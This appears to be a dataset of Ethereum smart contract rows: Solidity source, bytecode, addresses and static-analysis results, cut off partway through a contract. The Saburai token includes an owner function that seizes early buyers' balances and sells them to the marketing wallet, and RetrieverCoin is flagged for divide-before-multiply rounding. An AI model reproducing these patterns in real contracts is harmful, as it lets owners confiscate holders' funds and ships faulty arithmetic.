balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. **/ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. **/ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. **/ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. **/ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Configurable * @dev Configurable varriables of the contract **/ contract Configurable { uint256 public constant cap = 400000000000000000*10**1; uint256 public constant basePrice = 1000000000000000*10**1; // tokens per 1 ether uint256 public tokensSold = 0; uint256 public constant tokenReserve = 80000000000000000*10**1; uint256 public remainingTokens = 0; } /** * @title CrowdsaleToken * @dev Contract to preform crowd sale with token **/ contract CrowdsaleToken is StandardToken, Configurable, Ownable { /** * @dev enum of current crowd sale state **/ enum Stages { none, icoStart, icoEnd } Stages currentStage; /** * @dev constructor of CrowdsaleToken **/ constructor() public { currentStage = Stages.none; balances[owner] = balances[owner].add(tokenReserve); totalSupply_ = totalSupply_.add(tokenReserve); remainingTokens = cap; emit Transfer(address(this), owner, tokenReserve); } /** * @dev fallback function to send ether to for Crowd sale **/ function () public payable { require(currentStage == Stages.icoStart); require(msg.value > 0); require(remainingTokens > 0); uint256 weiAmount = msg.value; // Calculate tokens to sell uint256 tokens = weiAmount.mul(basePrice).div(1 ether); uint256 returnWei = 0; if(tokensSold.add(tokens) > cap){ uint256 newTokens = cap.sub(tokensSold); uint256 newWei = newTokens.div(basePrice).mul(1 ether); returnWei = weiAmount.sub(newWei); weiAmount = newWei; tokens = newTokens; } tokensSold = tokensSold.add(tokens); // Increment raised amount remainingTokens = cap.sub(tokensSold); if(returnWei > 0){ msg.sender.transfer(returnWei); emit Transfer(address(this), msg.sender, returnWei); } balances[msg.sender] = balances[msg.sender].add(tokens); emit Transfer(address(this), msg.sender, tokens); totalSupply_ = totalSupply_.add(tokens); owner.transfer(weiAmount);// Send money to owner } /** * @dev startIco starts the public ICO **/ function startIco() public onlyOwner { require(currentStage != Stages.icoEnd); currentStage = Stages.icoStart; } /** * @dev endIco closes down the ICO **/ function endIco() internal { currentStage = Stages.icoEnd; // Transfer any remaining tokens if(remainingTokens > 0) balances[owner] = balances[owner].add(remainingTokens); // transfer any remaining ETH balance in the contract to the owner owner.transfer(address(this).balance); } /** * @dev finalizeIco closes down the ICO and sets needed varriables **/ function finalizeIco() public onlyOwner { require(currentStage != Stages.icoEnd); endIco(); } } /** * @title RetrieverCoin * @dev Contract to create the Retriever Coin **/ contract RetrieverCoin is CrowdsaleToken { string public constant name = "Retriever Coin"; string public constant symbol = "RETR"; uint32 public constant decimals = 1; }
0x6080604052600436106101115763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461036d578063095ea7b3146103f757806318160ddd1461042f57806323b872dd14610456578063313ce56714610480578063355274ea146104ae578063518ab2a8146104c357806366188463146104d857806370a08231146104fc57806389311e6f1461051d5780638da5cb5b14610534578063903a3ef61461056557806395d89b411461057a578063a9059cbb1461058f578063bf583903146105b3578063c7876ea4146105c8578063cbcb3171146105dd578063d73dd623146105f2578063dd62ed3e14610616578063f2fde38b1461063d575b600080808080600160055474010000000000000000000000000000000000000000900460ff16600281111561014257fe5b1461014c57600080fd5b6000341161015957600080fd5b60045460001061016857600080fd5b34945061019a670de0b6b3a764000061018e87662386f26fc1000063ffffffff61065e16565b9063ffffffff61068d16565b935060009250673782dace9d9000006101be856003546106a290919063ffffffff16565b111561022c576003546101e090673782dace9d9000009063ffffffff6106af16565b9150610211670de0b6b3a764000061020584662386f26fc1000063ffffffff61068d16565b9063ffffffff61065e16565b9050610223858263ffffffff6106af16565b92508094508193505b60035461023f908563ffffffff6106a216565b600381905561025d90673782dace9d9000009063ffffffff6106af16565b60045560008311156102bd57604051339084156108fc029085906000818181858888f19350505050158015610296573d6000803e3d6000fd5b5060408051848152905133913091600080516020610e188339815191529181900360200190a35b336000908152602081905260409020546102dd908563ffffffff6106a216565b3360008181526020818152604091829020939093558051878152905191923092600080516020610e188339815191529281900390910190a3600154610328908563ffffffff6106a216565b600155600554604051600160a060020a039091169086156108fc029087906000818181858888f19350505050158015610365573d6000803e3d6000fd5b505050505050005b34801561037957600080fd5b506103826106c1565b6040805160208082528351818301528351919283929083019185019080838360005b838110156103bc5781810151838201526020016103a4565b50505050905090810190601f1680156103e95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561040357600080fd5b5061041b600160a060020a03600435166024356106f8565b604080519115158252519081900360200190f35b34801561043b57600080fd5b5061044461075e565b60408051918252519081900360200190f35b34801561046257600080fd5b5061041b600160a060020a0360043581169060243516604435610764565b34801561048c57600080fd5b506104956108c9565b6040805163ffffffff9092168252519081900360200190f35b3480156104ba57600080fd5b506104446108ce565b3480156104cf57600080fd5b506104446108da565b3480156104e457600080fd5b5061041b600160a060020a03600435166024356108e0565b34801561050857600080fd5b50610444600160a060020a03600435166109d0565b34801561052957600080fd5b506105326109eb565b005b34801561054057600080fd5b50610549610a6f565b60408051600160a060020a039092168252519081900360200190f35b34801561057157600080fd5b50610532610a7e565b34801561058657600080fd5b50610382610ad5565b34801561059b57600080fd5b5061041b600160a060020a0360043516602435610b0c565b3480156105bf57600080fd5b50610444610bdb565b3480156105d457600080fd5b50610444610be1565b3480156105e957600080fd5b50610444610bec565b3480156105fe57600080fd5b5061041b600160a060020a0360043516602435610bf8565b34801561062257600080fd5b50610444600160a060020a0360043581169060243516610c91565b34801561064957600080fd5b50610532600160a060020a0360043516610cbc565b600082151561066f57506000610687565b5081810281838281151561067f57fe5b041461068757fe5b92915050565b6000818381151561069a57fe5b049392505050565b8181018281101561068757fe5b6000828211156106bb57fe5b50900390565b60408051808201909152600e81527f52657472696576657220436f696e000000000000000000000000000000000000602082015281565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60015490565b6000600160a060020a038316151561077b57600080fd5b600160a060020a0384166000908152602081905260409020548211156107a057600080fd5b600160a060020a03841660009081526002602090815260408083203384529091529020548211156107d057600080fd5b600160a060020a0384166000908152602081905260409020546107f9908363ffffffff6106af16565b600160a060020a03808616600090815260208190526040808220939093559085168152205461082e908363ffffffff6106a216565b600160a060020a03808516600090815260208181526040808320949094559187168152600282528281203382529091522054610870908363ffffffff6106af16565b600160a060020a0380861660008181526002602090815260408083203384528252918290209490945580518681529051928716939192600080516020610e18833981519152929181900390910190a35060019392505050565b600181565b673782dace9d90000081565b60035481565b336000908152600260209081526040808320600160a060020a03861684529091528120548083111561093557336000908152600260209081526040808320600160a060020a038816845290915281205561096a565b610945818463ffffffff6106af16565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b600554600160a060020a03163314610a0257600080fd5b600260055474010000000000000000000000000000000000000000900460ff166002811115610a2d57fe5b1415610a3857600080fd5b6005805474ff0000000000000000000000000000000000000000191674010000000000000000000000000000000000000000179055565b600554600160a060020a031681565b600554600160a060020a03163314610a9557600080fd5b600260055474010000000000000000000000000000000000000000900460ff166002811115610ac057fe5b1415610acb57600080fd5b610ad3610d51565b565b60408051808201909152600481527f5245545200000000000000000000000000000000000000000000000000000000602082015281565b6000600160a060020a0383161515610b2357600080fd5b33600090815260208190526040902054821115610b3f57600080fd5b33600090815260208190526040902054610b5f908363ffffffff6106af16565b3360009081526020819052604080822092909255600160a060020a03851681522054610b91908363ffffffff6106a216565b600160a060020a03841660008181526020818152604091829020939093558051858152905191923392600080516020610e188339815191529281900390910190a350600192915050565b60045481565b662386f26fc1000081565b670b1a2bc2ec50000081565b336000908152600260209081526040808320600160a060020a0386168452909152812054610c2c908363ffffffff6106a216565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600554600160a060020a03163314610cd357600080fd5b600160a060020a0381161515610ce857600080fd5b600554604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36005805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6005805474ff000000000000000000000000000000000000000019167402000000000000000000000000000000000000000017905560045460001015610dda57600454600554600160a060020a0316600090815260208190526040902054610dbe9163ffffffff6106a216565b600554600160a060020a03166000908152602081905260409020555b600554604051600160a060020a0390911690303180156108fc02916000818181858888f19350505050158015610e14573d6000803e3d6000fd5b505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a7230582098ea05ff430c84fb5995dfa0650fc328ee71baf1f445c6d138b392d13dc95d720029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
1,289
0x0de05f6447ab4d22c8827449ee4ba2d5c288379b
/** *Submitted for verification at Etherscan.io on 2021-10-18 */ /** * Copyright 2017-2021, OokiDao. All Rights Reserved. * Licensed under the Apache License, Version 2.0. */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } contract Upgradeable_0_8 is Ownable { address public implementation; } contract OokiTokenProxy is Upgradeable_0_8 { constructor(address _impl) public { replaceImplementation(_impl); } fallback() external { address impl = implementation; assembly { calldatacopy(0, 0, calldatasize()) let result := delegatecall(gas(), impl, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) switch result case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } function replaceImplementation(address impl) public onlyOwner { require(Address.isContract(impl), "not a contract"); implementation = impl; } }
0x608060405234801561001057600080fd5b50600436106100575760003560e01c80635c60da1b14610087578063715018a6146100b65780638da5cb5b146100c0578063d69efdc5146100d1578063f2fde38b146100e4575b6001546001600160a01b03163660008037600080366000845af43d6000803e808015610082573d6000f35b3d6000fd5b60015461009a906001600160a01b031681565b6040516001600160a01b03909116815260200160405180910390f35b6100be6100f7565b005b6000546001600160a01b031661009a565b6100be6100df3660046102b2565b610136565b6100be6100f23660046102b2565b6101c1565b6000546001600160a01b0316331461012a5760405162461bcd60e51b8152600401610121906102e2565b60405180910390fd5b6101346000610262565b565b6000546001600160a01b031633146101605760405162461bcd60e51b8152600401610121906102e2565b803b61019f5760405162461bcd60e51b815260206004820152600e60248201526d1b9bdd08184818dbdb9d1c9858dd60921b6044820152606401610121565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146101eb5760405162461bcd60e51b8152600401610121906102e2565b6001600160a01b0381166102505760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610121565b61025981610262565b50565b3b151590565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000602082840312156102c457600080fd5b81356001600160a01b03811681146102db57600080fd5b9392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260408201526060019056fea2646970667358221220757e7ec6ce5df149aa288328f60b1df7ae1ec5a524255b756926fecf253b94ad64736f6c63430008090033
{"success": true, "error": null, "results": {}}
1,290
0x79d1bb925aa49d6e5d58faabf2fbe865d684da7b
/** *Submitted for verification at Etherscan.io on 2022-03-17 */ pragma solidity ^0.7.4; // SPDX-License-Identifier: Unlicensed library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IERC20 { function totalSupply() external view returns (uint256); function decimals() external view returns (uint8); function symbol() external view returns (string memory); function name() external view returns (string memory); function getOwner() external view returns (address); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address _owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } interface IDEXFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IDEXRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function getAmountsIn(uint256 amountOut, address[] memory path) external view returns (uint256[] memory amounts); function getAmountsOut(uint256 amountIn, address[] memory path) external view returns (uint256[] memory amounts); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } abstract contract Auth { address internal owner; mapping(address => bool) internal authorizations; constructor(address _owner) { owner = _owner; authorizations[_owner] = true; } modifier onlyOwner() { require(isOwner(msg.sender), "!OWNER"); _; } modifier authorized() { require(isAuthorized(msg.sender), "!AUTHORIZED"); _; } function authorize(address adr) public onlyOwner { authorizations[adr] = true; } function unauthorize(address adr) public onlyOwner { authorizations[adr] = false; } function isOwner(address account) public view returns (bool) { return account == owner; } function isAuthorized(address adr) public view returns (bool) { return authorizations[adr]; } function transferOwnership(address payable adr) public onlyOwner { owner = adr; authorizations[adr] = true; emit OwnershipTransferred(adr); } event OwnershipTransferred(address owner); } abstract contract ERC20Interface { function balanceOf(address whom) public view virtual returns (uint256); } contract Saburai is IERC20, Auth { using SafeMath for uint256; string constant _name = "Saburai"; string constant _symbol = "SABURAI"; uint8 constant _decimals = 18; address DEAD = 0x000000000000000000000000000000000000dEaD; address ZERO = 0x0000000000000000000000000000000000000000; address routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 _totalSupply = 1_000_000 * (10**_decimals); uint256 private _liqAddBlock = 0; uint256 public biggestBuy = 0; uint256 public biggestBuySum = 0; uint256 public lowestBuy = uint256(-1); uint256 public resetPeriod = 1 hours; address[] private rewardedAddresses; address[] private _ringmasters; mapping(address => uint256) _balances; mapping(address => mapping(address => uint256)) _allowances; mapping(address => bool) public isFeeExempt; mapping(address => bool) public isTxLimitExempt; mapping(address => bool) public hasSold; mapping(address => bool) private _liquidityHolders; mapping(address => bool) private _isRingmaster; mapping(address => uint256) public totalBuySumPerAddress; mapping(address => uint256) public totalRewardsPerAddress; uint256 public marketingFee = 9; uint256 public totalFee = 0; uint256 public totalFeeIfSelling = 0; address public autoLiquidityReceiver; address public marketingWallet; IDEXRouter public router; address public pair; bool _hasLiqBeenAdded = false; bool ringmasterProtection = true; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; uint256 public _maxTxAmount = _totalSupply / 100; // 1% uint256 public _maxWalletAmount = _totalSupply / 50; // 2% uint256 public swapThreshold = _totalSupply / 200; modifier lockTheSwap() { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } event AutoLiquify(uint256 amountETH, uint256 amountToken); constructor() Auth(msg.sender) { router = IDEXRouter(routerAddress); pair = IDEXFactory(router.factory()).createPair( router.WETH(), address(this) ); _allowances[address(this)][address(router)] = uint256(-1); isFeeExempt[DEAD] = true; isTxLimitExempt[DEAD] = true; isFeeExempt[msg.sender] = true; isFeeExempt[address(this)] = true; isTxLimitExempt[msg.sender] = true; isTxLimitExempt[address(this)] = true; isTxLimitExempt[pair] = true; _liquidityHolders[msg.sender] = true; autoLiquidityReceiver = msg.sender; marketingWallet = msg.sender; totalFee = marketingFee; totalFeeIfSelling = totalFee; _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } receive() external payable {} function name() external pure override returns (string memory) { return _name; } function symbol() external pure override returns (string memory) { return _symbol; } function decimals() external pure override returns (uint8) { return _decimals; } function totalSupply() external view override returns (uint256) { return _totalSupply; } function getOwner() external view override returns (address) { return owner; } function getCirculatingSupply() public view returns (uint256) { return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO)); } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function setMaxTxAmount(uint256 amount) external authorized { _maxTxAmount = amount; } function setMaxWalletAmount(uint256 amount) external authorized { _maxWalletAmount = amount; } function setFees( uint256 newMarketingFee ) external authorized { marketingFee = newMarketingFee; totalFee = marketingFee; totalFeeIfSelling = totalFee; } function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function approveMax(address spender) external returns (bool) { return approve(spender, uint256(-1)); } function setIsFeeExempt(address holder, bool exempt) external authorized { isFeeExempt[holder] = exempt; } function setIsTxLimitExempt(address holder, bool exempt) external authorized { isTxLimitExempt[holder] = exempt; } function setSwapThreshold(uint256 threshold) external authorized { swapThreshold = threshold; } function setFeeReceivers( address newLiquidityReceiver, address newMarketingWallet ) external authorized { autoLiquidityReceiver = newLiquidityReceiver; marketingWallet = newMarketingWallet; } function _checkLiquidityAdd(address from, address to) private { require(!_hasLiqBeenAdded, "Liquidity already added and marked."); if (_liquidityHolders[from] && to == pair) { _hasLiqBeenAdded = true; _liqAddBlock = block.number; } } function setResetPeriodInSeconds(uint256 newResetPeriod) external authorized { resetPeriod = newResetPeriod; } function disableRingmasterProtection() public authorized { ringmasterProtection = false; } function byeByeRingmasters() public authorized lockTheSwap { if (_ringmasters.length > 0) { uint256 oldContractBalance = _balances[address(this)]; for (uint256 i = 0; i < _ringmasters.length; i++) { _balances[address(this)] = _balances[address(this)].add( _balances[_ringmasters[i]] ); emit Transfer( _ringmasters[i], address(this), _balances[_ringmasters[i]] ); _balances[_ringmasters[i]] = 0; } uint256 collectedTokens = _balances[address(this)] - oldContractBalance; address[] memory path = new address[](2); path[0] = address(this); path[1] = router.WETH(); router.swapExactTokensForETHSupportingFeeOnTransferTokens( collectedTokens, 0, path, marketingWallet, block.timestamp ); } } function _checkTxLimit( address sender, address recipient, uint256 amount ) internal { if ( sender != owner && recipient != owner && !isTxLimitExempt[recipient] && recipient != ZERO && recipient != DEAD && recipient != pair && recipient != address(this) ) { require(amount <= _maxTxAmount, "MAX TX"); uint256 contractBalanceRecipient = balanceOf(recipient); require( contractBalanceRecipient + amount <= _maxWalletAmount, "Exceeds maximum wallet token amount" ); address[] memory path = new address[](2); path[0] = router.WETH(); path[1] = address(this); uint256 usedEth = router.getAmountsIn(amount, path)[0]; totalBuySumPerAddress[recipient] += usedEth; if (!hasSold[recipient]) { if (totalBuySumPerAddress[recipient] > biggestBuySum) { biggestBuySum = totalBuySumPerAddress[recipient]; } if (usedEth > biggestBuy) { biggestBuy = usedEth; } if (usedEth < lowestBuy) { lowestBuy = usedEth; } } } if ( sender != owner && recipient != owner && !isTxLimitExempt[sender] && sender != pair && recipient != address(this) ) { require(amount <= _maxTxAmount, "MAX TX"); } } function setSwapBackSettings(bool enableSwapBack, uint256 newSwapBackLimit) external authorized { swapAndLiquifyEnabled = enableSwapBack; swapThreshold = newSwapBackLimit; } function transfer(address recipient, uint256 amount) external override returns (bool) { return _transferFrom(msg.sender, recipient, amount); } function transferFrom( address sender, address recipient, uint256 amount ) external override returns (bool) { if (_allowances[sender][msg.sender] != uint256(-1)) { _allowances[sender][msg.sender] = _allowances[sender][msg.sender] .sub(amount, "Insufficient Allowance"); } _transferFrom(sender, recipient, amount); return true; } function _transferFrom( address sender, address recipient, uint256 amount ) internal returns (bool) { if (inSwapAndLiquify) { return _basicTransfer(sender, recipient, amount); } if (ringmasterProtection) { if (!_hasLiqBeenAdded) { _checkLiquidityAdd(sender, recipient); } else { if ( _liqAddBlock > 0 && sender == pair && !_liquidityHolders[sender] && !_liquidityHolders[recipient] ) { if (block.number - _liqAddBlock < 2) { if (!_isRingmaster[recipient]) { _ringmasters.push(recipient); } _isRingmaster[recipient] = true; } } } } if ( msg.sender != pair && !inSwapAndLiquify && swapAndLiquifyEnabled && _balances[address(this)] >= swapThreshold ) { swapBack(); } _checkTxLimit(sender, recipient, amount); require(!isWalletToWallet(sender, recipient), "Don't cheat"); _balances[sender] = _balances[sender].sub( amount, "Insufficient Balance" ); uint256 amountReceived = !isFeeExempt[sender] && !isFeeExempt[recipient] ? takeFee(sender, recipient, amount) : amount; _balances[recipient] = _balances[recipient].add(amountReceived); emit Transfer(msg.sender, recipient, amountReceived); return true; } function _basicTransfer( address sender, address recipient, uint256 amount ) internal returns (bool) { _balances[sender] = _balances[sender].sub( amount, "Insufficient 